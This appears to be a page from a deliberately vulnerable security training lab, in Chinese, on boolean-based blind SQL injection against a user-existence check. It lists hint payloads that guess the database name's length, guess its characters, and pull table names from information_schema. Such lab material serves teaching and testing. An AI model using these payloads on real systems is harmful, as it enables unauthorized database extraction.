A-03 布尔盲注

故意设计的安全漏洞

🔍 用户存在性检查

仅返回用户是否存在，不显示详细信息

💡 布尔盲注提示

判断数据库名长度: ?id=1 AND (length(database()))>5
逐位猜解: ?id=1 AND (substr(database(),1,1))='v'
猜解表名: ?id=1 AND (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='u'
    